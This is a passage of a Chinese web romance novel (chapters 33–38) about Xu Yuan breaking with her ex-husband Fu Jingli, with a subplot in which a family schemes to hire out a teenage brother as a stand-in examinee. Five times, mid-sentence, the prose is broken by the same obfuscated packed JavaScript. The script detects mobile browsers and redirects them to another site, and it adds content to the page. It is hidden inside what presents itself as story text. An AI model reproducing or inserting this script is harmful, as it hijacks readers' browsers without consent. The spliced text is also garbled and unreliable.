他是真的没想到许镇江为何胆子大到如此地步。 像是完全跟许愿撕破脸,迫不及待要捧许宁上位一般。 但为了许宁,他此刻没办法真的对许镇江动手。 “过两天有几场拍卖会,里面有许愿喜欢的东西。” 这话的意思是,已经打算斥巨资被许愿购买珍品了。 宋野深深的看了傅京礼一眼,却是轻微的叹了口气:你开心就好。 说到这, 傅京礼提到:“之前说的新能源方面的资源,可以交给许愿负责。” 宋野愣了下,马上明白过来这又是补偿。 他心里明白,傅京礼对许愿一定是有感情的。 三年的夫妻,他怎么可能真的这么狠心? 只是……为什么一定要是许宁? 他这样想也这样问了。 傅京礼眸色晦暗沉郁。 “是我欠她的。” 那次的意外,是他欠她的。 他曾说过,等逃离那个地方,未来他不管用尽多少方法都一定会找到她,让她过上最好的生活,守着她护着她一辈子。 他欠下的情债,是要还的。 纵然……没有那种感情,他也要履行承诺,守着她护着她。 …… 晚上十点,晚宴正式结束。 许愿久久未离开,直到会场只剩下工作人员,她才去了二楼。 打开休息室的房门,她的目光落到那件已经被丢进垃圾桶的红色礼裙上。 眸光闪了闪,她缓了片刻,将礼裙拾捡起来。 “已经坏掉的礼服,为什么还这么珍惜?” “难道这是傅京礼送你的?” 男人吊儿郎当的声音传过来。 盛景炎倚靠在门边,唇角挂着一抹笑等她回应。 第33章 坏掉的裙子 许愿抬眸看着突然出现在面前的男人,转移话题:“你跟着我来这里,到底有什么目的。” 盛景炎脸上的笑意愈发大了:“我不是说了?我在追求你?” “你的追求,就是眼睁睁的看着你的心上人被人围堵为难,然后在一旁装作旁观者做出一副闲散姿态看戏吗?” 许愿眸光浅淡。 她不怪盛景炎看乐子。 她和盛景炎之间本就没有多深的羁绊。 盛景炎对她所谓的追求,更像是猫捉老鼠般的逗弄。 “你这话说得真有趣。” 盛景炎逼近他,眉眼之间裹挟着兴味儿的笑意,像是相中了眼前的猎物。 “我只是追求你,什么时候说过你是我的心上人了?” 追求者不一定等同于心上人。 他一时兴起的追求,是看上了她优越的相貌,可从未将她看作心上人。 “你在追求我,这样诚实真的好吗?” 许愿退后一步,与盛景炎拉开距离。 “你该知道,我的追求者并不算少,你跟我坦白这些,是想彻底出局吗。” “全盘托出,不比那些虚伪的男人更真实吗。”盛景炎嗤笑:“谁不爱你的容貌?” 许愿微微垂眸,男人却倏然伸出手,夺走她手中的红色礼裙。 “你做什么!” 许愿出声阻止。 盛景炎眯起狭长的眼眸,眼尾微微上挑,眸光幽幽的转到她脸上。 “谁送的红裙子,让你这么在乎,坏掉了都要特意折回来。” “傅京礼送的?” “只不过是一件红裙,你都如此在乎?” “总不该是傅京礼第一次送你礼物吧?” 许愿眸光微凝,谨慎聪慧如盛景炎,他立刻明白过来。 他喉间溢出笑声,不知是在笑傅京礼还是在笑她。 盛景炎歪头,许愿去抢,男人哼笑一声后退一步。 许愿眸光一厉,不知哪里来的力气,绊了男人一脚,盛景炎惊愕,下一瞬整个人要摔下去。 他不怒反笑,一把拽住她细嫩的手腕,拉她下水。 盛景炎摔到地毯上却还是忍不住“嘶”了一声,但是整个人却圈紧许愿,没让她磕到分毫。 “许愿,你可真够狠的。” 盛景炎轻啧一声。 两人肌肤紧贴,许愿怔愣着要爬起。 他却紧紧地用手臂勾住她的腰,一副懒洋洋的模样不肯放开,甚至抬眸饶有兴致的望着她。 “这么着急离开,衣服不想要了?” “一件坏掉的裙子,没了就没了。” 许愿用手拽着盛景炎的大掌。 男人不肯松开她,握得更紧,甚至使了些力气。 “真的这么想吗。” 他的唇故意贴在她耳边,做出一副暧昧模样,吹出热气。 “既然你真的这样想,那这件礼裙也没有继续存在的必要了,不是吗?” 什么意思? 许愿望着他:“你想做什么。” “不是想重获新生吗,那就要跟过去的一切彻底割裂。” 许愿还没想清楚,盛景炎将许愿推开,自己一手撑着地板跳起。 不等许愿冲过去问明白,就见盛景炎手中的剪刀将红色的礼裙剪成碎片。 那样耀眼的红,成了丝丝缕缕的碎片。 “你疯了吗。” 许愿正打算去捡,男人却握住她的手腕。 “不要捡。” “你既然想开始新生活,就要对过去的一切说再见。” 对过去的一切说再见,说得简单,可是真的能轻易做到吗? 许愿目光落在那些已经残缺碎裂的红裙上,莹润的眸微微闪烁着光亮。 她没说话,只是踱步走到窗边,从这个方向向外望去。 这个度假村,是她耗费心血主策划完成的地方,是她真正的崭露头角梦开始的地方,是她进入傅氏获得尊重的第一份合约。 现在。 她要在这里与傅京礼的过去说再见吗? 可是,还是有些不忍和不舍啊。 三年的时间…… 不,不是三年,是在更早之前,她的心里早就克制不住的藏着一个人。 说再见,说得轻松。 可真正的尝试做起来,才知道有多难。 闭上眼睛都是男人那双冷峻的眉眼,甚至身体也早已习惯了男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617987|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的接近。 “你还在考虑吗,那不如你看看窗外。” 盛景炎走到她面前,长指点了点泛着点凉意的窗面。 这个时候天气还冷着,算是倒春寒。 在窗边能明显感觉到窗外那种刺骨的寒意。 许愿的目光向外掠过。 那一瞬,纵然是外面再冷却也抵不过她此刻的心冷。 是傅京礼和许宁,她身边还站着许镇江。 她唇瓣抖动,手逐渐的握成拳。 她就这样看着这一幕,甚至控制不住的打开窗户,凉风不停地吹进来,她身体都忍不住瑟缩了下。 傅京礼明明什么都知道的,她知道这次的事情跟许镇江有关,他不相信是许 宁做的,可为什么还要如此袒护许镇江? 他真的就这么爱许宁吗? 爱到连许镇江那样的烂人都可以接受? 脸色微微发白,可越是这种时候,许愿就越是不肯让自己低头退步。 她脸上还是挂上了浅淡的笑意,强逼着自己露出那副淡然模样,她不想在这时露怯。 “哎呀。” 盛景炎站在她身旁,像是故意轻叹了一声似的,长指敲打着窗面,意味深长道:“你在这里为了一条好不容易收到的礼服伤春悲秋,而你在乎的男人,却在外面哄他的新晋爱人。” 盛景炎偏头,居高临下的瞧着她,像是故意又像是真的讥讽:“许愿,你好像成了个笑话。” 今晚的事情,盛景炎能看不懂吗? 那些登不上台面的小把戏一直没有断。 先是许愿的裙子被损坏,又是在晚宴现场故意败坏许愿的名声。 今晚若非是宋野和江惊蛰在管控了局面,绑住了那几个要胡说八道随意散播的男人。 那些事情真的传出去,参加晚宴的人会怎么说? 他们可不管你是不是真的做过,他们只会一概认为你做过。 这样一来,许愿的名声就会被彻底毁掉。 这就是那对父女想做的事。 盛景炎在盛家什么没看到过,当然猜到为什么会出现这样的事。 无非是许愿和他一样,没有依靠甚至被亲生父亲视为眼中钉,要亲自除掉。 第34章 要摆脱他了 盛景炎的内心难得了一丝升起怜悯之意。 他开口:“就是个笑话。” 他是个笑话,许愿也是个笑话。 “我都能知道的事情,傅京礼不可能不知道。” 他那双一直含着笑的邪肆眼眸都沉下来,但声音却轻缓,此刻正经得不像平日里肆意的模样。 “他知道你是受害者,可即便如此他还是选择维护施暴者,甚至接受施暴者的一切。” “许愿,这样的人,你还在执着什么呢?” 执着什么呢。 许愿指尖泛白的握紧窗棂,牙齿咬着下唇。 “我只是不甘心。” 盛景炎当然明白她为什么不甘心。 不甘心输给许宁那样不堪的女人。 不甘心自己深爱的男人,就这样被蒙蔽了双眼。 许愿望着窗外那三人,心尖的酸涩疼痛让她几乎呻吟出声。 或许是察觉到她的不对劲,倏然,一道凌厉敏锐的视线扫了过来。 许愿顿了一瞬,直对上男人扫射而来的冷眸。 漆黑,深邃。 隔着这样远的距离,她都能感受到男人身上不停散发的浓烈的寒意。 许愿喉间发堵,然后眼睁睁看着许宁搂住傅京礼的手臂,小孩子撒娇似的轻轻摇晃着他的一条手臂,脸上挂着热烈的笑。 男人没有推拒,随着许宁任性。 呵。 她还要继续看什么呢? 看她曾经费尽心力去爱着的男人,此刻疼着旁人吗? 就像盛景炎说的。 都到这种时候了,他们离婚了,傅京礼也有了新的爱人,他们彼此都有了各自的新生活,她为什么还要继续执着于过去。 一切,都要翻篇了。 许愿抬眸,目光中难得带着一分凛冽之意。 她目光扫向地面上那些已经被盛景炎剪碎的红色碎布。 盛景炎挑了下眉,这次倒是没再阻拦许愿。 反倒是将那些碎步全都拿到她面前,递交到她手中,然后移开步子,等着看她要做些什么。 许愿能感受到男人落到自己身上的视线,她忽略了,将怀中的碎片全都洒落到了窗外。 此刻已是深夜。 度假村外却灯火通明,一条悠长的小路接连着明亮的灯光。 那红色如此鲜亮的颜色,在这样的夜晚被灯光的照射下,发出微弱的淡淡的红光。 却又在这样的寒风中,透着几分凛冽之意。 在寒冷的冬日,她丢掉了男人送的礼物,就好像在他眼前丢掉了枷锁,选择重新开始。 那条鲜艳的红裙,已经碎裂的红布,在寒风的吹拂下,吹散了她内心的阴霾。 往后她会有很多红裙,但不会再穿傅京礼送的。 她用这条红裙,祭奠她的过去,此后,彻底翻篇。 许愿关上窗,收回自己的视线。 盛景炎敛眉:“这次是真的做下决定了?” “早就该做出决定了。” 许宁抬眸扫他一眼,毅然决然的转身离开。 盛景炎眉眼弯弯的看着她远去的背影,脸上笑意愈深。 …… 许宁和许镇江离开后,两人其实一直都没走,都在等着傅京礼。 他们也是真的担心傅京礼把今晚的事情算到她们的身上。 虽然事情真的是他们做的,但他们还是要撇清关系。 远远看到傅京礼离开晚宴要上车时,许宁小跑到男人面前,许镇江也急匆匆的紧跟在其后,气喘吁吁的,脸上还不停冒着冷汗,看起来好一副无辜急切的模样。 “不是走了?” 傅京礼站在原地,看着这对突然出现的父女,但脑内却像是不受控制的出现许愿那张明艳动人的面容。 在他面前控诉不公,控诉他维护的许宁和许镇江。 他深沉的眸中藏着明显的冰冷之意,就这么看着两人:“有什么事吗。” 傅京礼声音冰冷,此刻对待他们的态度宛如对待陌生人。 许宁心里有些慌,却还是上前一步搂抱住男人的手臂摇晃着:“阿礼,你这样好凶哦。” 傅京礼默然的看着她。 许宁抿着唇,怯生生的:“阿礼,你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617988|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会真的以为今晚的事情是我和父亲做的吧。” “我和姐姐之间虽然有矛盾,但是绝不会做出这种伤天害理的事。” “她毕竟是我的姐姐啊。” 许宁声音中都透着几许无辜,被男人伤到的姿态望着他,等待着男人的回应。 傅京礼正要开口,抬眸便隔着不远处的窗户,对上了许愿那双莹润的眸。 她远远地看了过来。 那样清亮的目光,闪动着星星点点的光芒,可好像在一瞬之间,眼底的所有光亮都消失了。 她仿佛是在看着他,却又好像是在透过他看到更远的地方。 傅京礼眸光愈发沉冷,却又对上她身旁盛景炎的身影。 盛景炎双手抱肩,那双含笑的眼睛此刻却带着看好戏的意思。 傅京礼的眸光愈发沉冷。 可下一秒,却见许愿打开窗。 这么冷的 天,她穿得这么薄还要打开窗户做什么? 是还觉得自己身体不够弱,要病得更厉害? 傅京礼还未想完,碎裂的红色布料从窗内被丢出,寒风凛冽刮着吹着,吹至他面前。 有一块红布甚至被吹到了傅京礼的脸上,像是在这样寒冷的冬日依依不舍的做着告别的亲吻,甚至还能隐隐的闻到布料上散发的淡淡香气。 是他送给许宁的那件礼服。 傅京礼抿紧唇,再次抬头要向那方向探寻时,却依然看不到许愿的身影,唯有盛景炎潇洒的冲他挥了挥手,方才转身离去,只留下背影。 傅京礼瞳眸幽暗。 许愿做这种事,是想告诉他什么? 她要开始新生活了? 她要彻底摆脱他了? 傅京礼眸光晦涩,周身的气压都好像越来越低。 许宁有些受不了的握住傅京礼的衣袖,轻轻扯了扯。 “阿礼,你到底怎么了?” 傅京礼垂眸看她一眼。 他恢复了此前淡然的目光,瞥了她一眼,声音都是淡淡的:“没事。” 许宁这才松了口气,拍着胸脯,一副劫后余生的模样一般。 第35章 破碎的红布 “姐姐真是的,怎么突然丢这些东西啊?好奇怪啊,也不知道为什么突然这么做。” 许宁自然也看到许愿了。 那一刻,她的心提到嗓子眼,生怕许愿做出什么事来…… 岂料,她只是扔了几块碎裂的红布。 她觉得许愿的脑子是不是坏掉了。 但又怕许愿这些举动暗藏深意,只能先开口映射许愿是在发疯。 “她在告别。” 傅京礼抿唇,随意的捡起地上的一块红色碎片,仿佛此刻还能触及她温热的肌肤一般。 他清楚许愿今晚做的这一切,是在对他们的过去告别。 只是这样的举动,对上他,却更像是在挑衅。 傅京礼眸光愈深,许宁却不知所云。 她想要将话题拉拽回来,刚要开口,就听到男人淡淡的声音。 “今晚的事,我会压下来,往后这种事不必再做。” 傅京礼目光缓缓落到许镇江脸上。 “许愿也是你的女儿。” 许镇江不由得擦了擦脸上的冷汗,张口:“今晚的事,我……” “不必解释。”傅京礼打断他的话:“除非你真的拿我当蠢货。” 一句话,许镇江顿时噤声,果真不再遮掩的开口了。 沈略这时摇下车窗试探的开口:“傅总,现在时间不早了,我们回去还有个视频会议,是国外的合作商,马上就到我们约好的时间了。” 傅京礼嗯了一声,离开之际,深深的看了许宁一眼,方才离开。 这一眼,直让许宁心底发寒。 直到车子驶离,许宁终于松了口气。 “爸,他肯定知道了,他肯定知道了!他知道是我们做的!” 许宁是真的慌了。 许镇江擦拭着脸上的冷汗,心还没彻底静下来。 他也是慌着的,但也比许宁稳重。 “慌什么,他又没说别的,只是提醒我们两句罢了,这不是说明傅京礼站在我们这头?” 许镇江笑了:“他是真疼你啊,为了你竟然当作什么都不知道,也是我沾了你的光了。” 许宁听到这些,才终于不再心慌,而是得意地笑了起来。 车内。 傅京礼开口:“我怎么不知道今晚要约谁见面谈合作。” 沈略将车停在路边。 “傅总,我不懂,今晚的事你明知道是谁做的。” 他的话还未说完,傅京礼便打断他的话:“你就当是我欠许宁的,这件事不必再提。” 沈略的整颗心都沉下去。 傅总到底是欠了什么样天大的人情,能让他为了许宁跟许愿离婚,甚至如此爱屋及乌的维护许镇江那种烂人? …… 许愿离开休息室下楼时,看到整理现场的那些侍应生中有一个身姿挺拔的少年。 他身高腿长,侧脸俊逸。 这里的侍应生本就都是五官端正的人,而他在其中,仍然十分亮眼。 许愿多看了两眼,隐约察觉到不对。 这边的负责人见此笑呵呵的询问:“许经理,是有什么不对吗?” 许愿偏头扫了眼那名少年,只微微摇了下头:“没事。” 话落,她取出一张卡递给对方:“今晚发生太多事,拿这些钱给他们压压惊。” 那里面是十万块,这里的人均分,他也能分到几千块了。 负责人立刻笑呵呵的接过。 许愿这才离开,却没注意到那名少年手中拿着抹布转身愣愣的看她。 他身旁的少年撞了他一下。 “苏逸,你看什么呢?” 被唤作苏逸的少年摇了下头:“只是觉得刚才那位姐姐很面善,总觉得哪里见过。” 他身旁的少年听他这么一说,也是绞尽脑汁想着:“哦对对对,我想起来了,她是不是我们学校以前那位几近满分考到a大那位学姐啊!就现在,她的那张照片还挂在我们学校的表彰墙上呢!” 苏逸顿了下,果然只是因为这样,他才觉得面善的吗? 此时,远远看着这一幕的盛景炎挑了下眉。 什么啊,他还真当抓到许愿什么小把柄了,原来只是在帮学弟啊,无聊。 盛景炎啧了一声,走到负责人面前,也取出一张卡递过去:“这里面的钱让他们拿去平分。” 负责人乐颠颠的去接,盛景炎却深深开口:“你最好是真的平分,否则……你不会想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617989|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道会有什么下场。” 对方脸色都变了。 “今晚收到的三份钱,平分,明白吗?” 负责人立刻点头。 盛景炎这才满意的离开。 他为什么知道是三份钱呢? 因为除了他和许愿出了钱,傅京礼也另外出了钱。 算是一笔封口费,省得出去后乱说。 深夜,苏逸打开门回到苏家,父亲苏正坤醉酒睡得正香,哥哥苏浩天坐在客厅的沙发上跷着腿玩游戏。 苏浩天的样貌与苏逸天差地别。 不过二十出头的年纪,他就已经发福了,肚子上都是肉,脸上全是横肉,看着一副地痞无赖的样儿。 听到关门 声,苏浩天啧了一声:“这都几点了,你还知道回来啊?” 他的目光还落在游戏机上开口道:“今儿晚上出去兼职给了多少钱?” 苏逸沉默的要回自己的房间, 苏浩天气得摁灭手机。 “你个小崽子,你跟谁嚣张呢!” “你给我站住!” 苏逸没说话,背着书包就要回房。 苏浩天骂骂咧咧的,却又拿他没办法。 他是真恨这个弟弟。 自小就长得好看成绩优越,谁都喜欢他。 且他的成绩好得离谱,稳稳能考入a大。 不像他,还是家里面找关系砸锅卖铁的上了个专科,以后出来还不知道找什么工作呢。 醉酒的苏父被吵醒了,踹了苏浩天一脚。 苏浩天被踹得心烦意乱的,突然眼珠一转,嘿嘿笑道:“爸,你知道帮人高考替考能拿几十万,甚至上百万吗?” 这话一出,苏正坤顿时清醒了。 “你仔细说说。” “爸,这a市可不缺有钱人,可惜这些人就是成绩不好,现在人家都打算花钱买学历了。你看,弟弟现在才十五六的年纪,跳级高考也就是早毕业两年,不如……” 苏浩天嘿嘿一笑:“不如让弟弟帮人替考几年?” “反正知识是自己的,弟弟那么聪明,多考几次说不定能发挥得更好,我们家可是什么都不亏的。” 苏正坤脸色沉沉:“我想想。” 第36章 针对 犹豫再三,苏正坤觉得这件事可行。 反正苏逸年纪还小,晚几年念大学也没什么,他们可能因此赚好大一笔钱呢。 苏正坤想了片刻,就应下来:“你突然跟我说这事,难不成是你有认识的人?” “那还能没有吗。” 苏浩天嘿嘿一笑,打开手机划过一溜人名。 “这些全都是家里有钱的,咱们到时就看谁开价高,就让苏逸去替谁考试。说不定考这一次,家里都能买套房呢。” a市的房价,哪怕是比较偏的地方都要千万了,这让苏逸替考一次,就能买套房? 贪婪的意识占据了一切。 苏正坤的内心已经被“替考”两个字完全占据。 既然这钱这么好赚,那不如让他多考几次? 反正那些人家里面都有钱,有钱人肯定也是有权势的,怎么可能被轻易查出来。 苏正坤的脸上满满的都是贪婪与得意。 两人议论时,谁也没看到苏逸房间的门开了一条缝。 他的脸上带着几分茫然,握着门把手的手指骨都有些泛白。 他连着跳了三次级,现在才十五岁,一时听到这些,都没有反应过来甚至不知道如何思考。 他唯一知道的是,现在不能让他们知道自己听到了。 他要装要演。 可以后呢? 以后要怎么办呢? 他一个未成年,就算想从这样的家离开,又能去哪里呢? 苏逸关上门,眼神都有些放空,久久回不过神。 …… 傅氏总部。 许愿怀中抱着几份资料,人已经到顶层。 秘书科的秘书看到她纷纷笑着问好,但看到许宁后又换了副模样,语气中都带着点轻慢的喊了声:“许秘书。” 许宁没说话,目光却落在许愿脸上,最终放到她怀中那些资料上。 “把资料交给我就可以,阿礼在见贵客,我会转交给阿礼的。”许宁开口。 许愿垂眸看着她,眼神里面都是冷意。 “这算是公司内部的机密,抱歉,我不能随便交到你手中。” 说到此,许愿又轻声笑了下:“还有,我记得我不止一次提醒你,在傅氏,先是傅总然后才是你的阿礼。” “若是你执意要这样挑战他的威信,那你大可以继续发疯。” 许愿轻飘飘的留下这句话,转身坐在软椅上。 立刻有秘书给她泡了杯热茶,许愿惯性的道谢,唯有许宁眼红的看着这一幕。 她都来好几天了! 也没见那群秘书给她倒杯茶! 她站在原地盯着许愿,许愿好似身边根本没有她这个人,此刻专心校对资料,许宁根本就插不进去。 顶楼电梯门打开,沈略脸上戴着墨镜,拎着几盒打包好的点心热饮,随手递给秘书科的秘书。 “华庭新出的口味,你们分了尝尝。” “谢谢沈秘书!” 几个秘书笑眯眯的分点心,沈略捧着杯冰美式喝了口这才道:“吃完后查一下国华江大道那边都有几家新能源公司,最近有人要跟我们竞争那附近的地皮,尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617990|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快查清楚。” “好的沈秘书!” 一群人应得很快,跟面对许宁时全然不同。 “不用查了。” 许愿举起自己手中的一份资料,冲沈略抬了下下巴:“自己过来看。” 沈略“呦”了一声,走过去坐到她身边的位置,随手将墨镜摘掉搁置到一旁的矮桌上。 “去了项目部,倒是还操心着这里的事,还是我阿愿姐姐知道我为这些事烦心,肯定是心疼我了。” 沈略脸上明显带着笑。 以往都是许愿跟他一起。 现在许愿去了策划部,他确实不如往日清闲,算起来全都是因为多出来个许宁。 所以从他到顶层,他一眼都没看许宁,像是在故意无视她。 “能不能让我也看一看,这些我也不是很清楚。” 许宁有些艰难的开口,目光却直勾勾的落在那几份资料上。 沈略随意的瞥她一眼,声音里面都透着几分冷意。 “你知道什么是亨利23式金融算法吗。” 啊? 什么……? 许宁脸上都是茫然不解。 沈略嗤笑一声:“这都不知道,还是回去多看看金融相关的书籍,否则倒真的是名副其实的德不配位了。” 许宁脸上硬是挤出来的笑容都消失了,她是一刻都待不下去,转身就走,好像身后有人要追着自己咬一般。 许愿翻看资料的动作顿了下:“好端端的,你针对她做什么。” 沈略回她:“我只是不喜欢小偷。” 第37章 强盗 许宁于许愿而言,的确是小偷。 小偷偷走了她的父爱,偷走她的丈夫,偷走她的职位。 或许,还想偷走她的身份她的人脉。 用小偷来形容许宁吗? 这就有些不太恰当了。 许愿轻笑一声:“比起小偷,她可能更像强盗。” 她的确不是偷,而是到她面前明抢。 抢完还要趾高气扬的告诉她让她知道,恶心又无赖。 “说得没错,强盗的确更合适。” 沈略忍不住笑了下,低头翻阅资料。 资料整理得详尽清晰,大略扫过就知道了具体的信息。 他内心了然,不过此刻忍不住开口:“董校长到底在跟老大谈什么啊?这都要一个多小时了,大清早的就来了,都谈到现在了。” 董校长? “a市实验一高的董校长?” 许愿脑海中闪过一张温和的中年女性面容,那是她在实验一高念书时的女性校长。 “是那位董校长。”沈略提了句:“也不知道这位校长这个时间来是为了什么,不过听说再过两个多月那群学生就要高考了,说不定是为了学生们来的。” 这确实有可能。 许愿顿了片刻,办公室的门被打开了,一抬头就对上校长含笑的脸。 “许愿?好久不见了。” “校长好。” 董校长伸手拍了拍她的肩膀:“你们李老师还一直念着你呢,说你不久前才去看过她。” 许愿笑笑。 “我这次来,是为了邀请几位优秀毕业生回校给你们学弟学妹打打气。你是我们那一届的高考状元,现在又在傅氏工作,刚好也能回去给他们上一课,你说怎么样?” 听校长这样说,许愿明白她今天为什么来了。 她是来邀请傅京礼去实验一高开讲座吧,算是高三生的动员会。 她没记错的话,弟弟苏逸就是实验一高高三的学生。 总归没有特别重要的事情,去参加一场动员会也不是不行。 “校长,这件事我答应了,傅总那边我也会帮您劝一劝的。” 董校长愣了下,立刻笑道:“那我先谢谢许同学了。” 校长得到她的回应后,就离开了。 许愿手里握着那几份资料,眸光跟着微微闪烁。 沈略在一旁跟了句:“老大最近还挺忙的,真的会陪你去参加这学校的动员会?” 其实,他觉得挺离谱的。 一个高中的动员会竟然能来邀请傅京礼,也是挺能开玩笑的。 “为什么不会?我都帮他整理了这几份资料,难道还不能说服他腾出几个小时的时间,参加一场母校的高三动员会吗。” 这倒是。 对此,沈略没再说什么。 许愿微一点头,抱着那份资料进了傅京礼的办公室,敲了敲门。 男人此刻在开视频会议,见站在门口的是她,他长指点了下桌面,让她进来。 许愿进来后将资料放到他桌上,傅京礼看她一眼,许愿默契的坐在一旁的位置用电脑打出一串串数据。 男人扫了眼,完全信任的说出那几个字符,对面果然被完全压制,最终以一个极优越的价格谈拢合同。 “怎么突然来我这里,有事?” 傅京礼眼神有些冷。 看到许愿,脑海中闪过的是她与盛景炎相携而立的身影,和那些漫天飞舞的碎片。 他心下微沉,黑眸沉沉。 许愿目光落到他的脸上,并不提昨晚的事。 “我刚才在门外的时候遇到了董校长,她来邀请你参加实验一高的动员会,你同意了吗?” 傅京礼看着她:“一个月前,我拒绝了a大邀请我的演讲会。” 他的话是在反问许愿。 a大演讲会他都拒绝了,为什么还会认为他会同意参加高中的动员会,倒更可笑了。 “你拒绝了a大的邀请,不代表要拒绝实验一高的邀请。” 许愿将那厚厚一摞资料推至男人面前:“这是你需要的资料,换你陪我参加实验一高的高三动员会。” 男人掀眉,开口:“理由。” 用这些重要的资料,只为换取他参加动员会的机会,未免过于可笑。 “我弟弟苏逸是实验一高的学生,他今年要参加高考。” 弟弟?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617991|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 男人拧眉:“我从没听说过你还有个弟弟。” “你听没听说过不重要,重要的是我确实有个弟弟。他今年要参加高考,所以我希望傅总能够答应我的请求。” 傅京礼微沉。 他看着面前的女人,不卑不亢的站在他面前,眉宇间仍带着那几分桀骜气, “在此之前,我有个问题想问你。” 傅京礼开口:“回答我的问题,不能有隐瞒,我会答应参加实验一高的动员会。” 许愿面色平静等着男人开口。 “解释一下昨晚你要表达的意思,你是在警告还是在暗示?” 男人说的,是昨晚她丢衣服碎片的举动吗? 她马上明白男人问的是什么,眼神中带着几分黯淡之意 。 “不是警告也不是暗示,我只是在通过自己缅怀过去,然后告诫自己要开始新生活,傅总应该能明白我的意思。” 他当然能明白。 缅怀那些跟他是夫妻的日子,离婚后要开始没有他的生活。 哪怕是他送出去的一条红裙,也要毫无保留的扔掉。 办公室内的灯光泛着淡淡的微弱冷芒,此刻打在男人侧脸上,更是增添几分锋芒。 他抬眸看着眼前的女人,那双冰冷淡漠的眼神没有一丝波澜。 那双眼睛此刻仿佛能够穿透黑暗,直抵人内心深处。 此刻,许愿仿佛被男人这样的眼神看得有些无措。 许愿顿了片刻,唇角却仍然挂着淡淡的笑。 他当然明白许愿的意思,她只是轻而易举的丢掉了他们的那些回忆和过去罢了。 那些被割裂成碎片的红裙,就如昨夜纷纷散落,那是一种无声的告别。 傅京礼长指点着桌面,片刻后开口。 “我会陪你去参加实验一高的高三动员会。” 他还是答应了。 许愿脸上带着明显的笑意。 “没什么其他事,我就先去工作了。” 不等男人的回应,许愿便已然转身离去。 男人在她打开门时缓慢开口。 “许镇江邀请我参加他的生日宴会,你也一起来。” 第38章 祭拜 听到男人的话,许愿的脚步顿住了。 她转过身,就这样定定的看了傅京礼许久,方才极轻极慢的点头。 “既然你说了,我会回去的。” 话落,许愿不再多停留一步。 她真的担心自己再留下来,整颗心都会彻底碎裂。 傅京礼根本什么都不懂,也什么都不知道。 他像是从没有了解过她,全然不知她的苦痛。 许镇江的生日,也是她母亲的忌日。 让她去参加许镇江的生日宴,是在往她心口戳刀子。 参加许镇江的生日宴吗? 她会去的。 …… 许家别墅在a市较繁华的地段。 这座矗立于繁华都市边缘的建筑,每一砖一瓦都透露着奢华与典雅的气息。是许镇江为了凸显自己的富有,当初特地请知名设计师设计建造的。 若非清楚许家家底的,怕是都要以为许家是a市的真正的名流了。 从远处眺望,别墅的外观宛如一座小型宫殿,外墙覆盖着细腻的米色大理石,阳光下泛着柔和的光泽。 高耸的穹顶与精致的雕花相互辉映,每一处细节都经过精心雕琢。 两侧的喷泉轻轻喷洒着水珠,形成一道道细密的水帘,伴随着微风,带来丝丝清凉与宁静。 步入别墅,首先映入眼帘的是宽敞的大厅,挑高的天花板上悬挂着一盏璀璨夺目的水晶吊灯,光芒四射,照亮整个空间。 地面铺设着来自意大利的顶级大理石,反射出温暖的光泽。 墙壁上挂着名家的油画,每一幅都是价值连城的艺术品,诉说着历史与文化的厚重。 受邀参加许镇江生日宴的人不是第一次来许家别墅,但是来一次惊一次,仍觉得许家这栋别墅实在是宏伟漂亮。 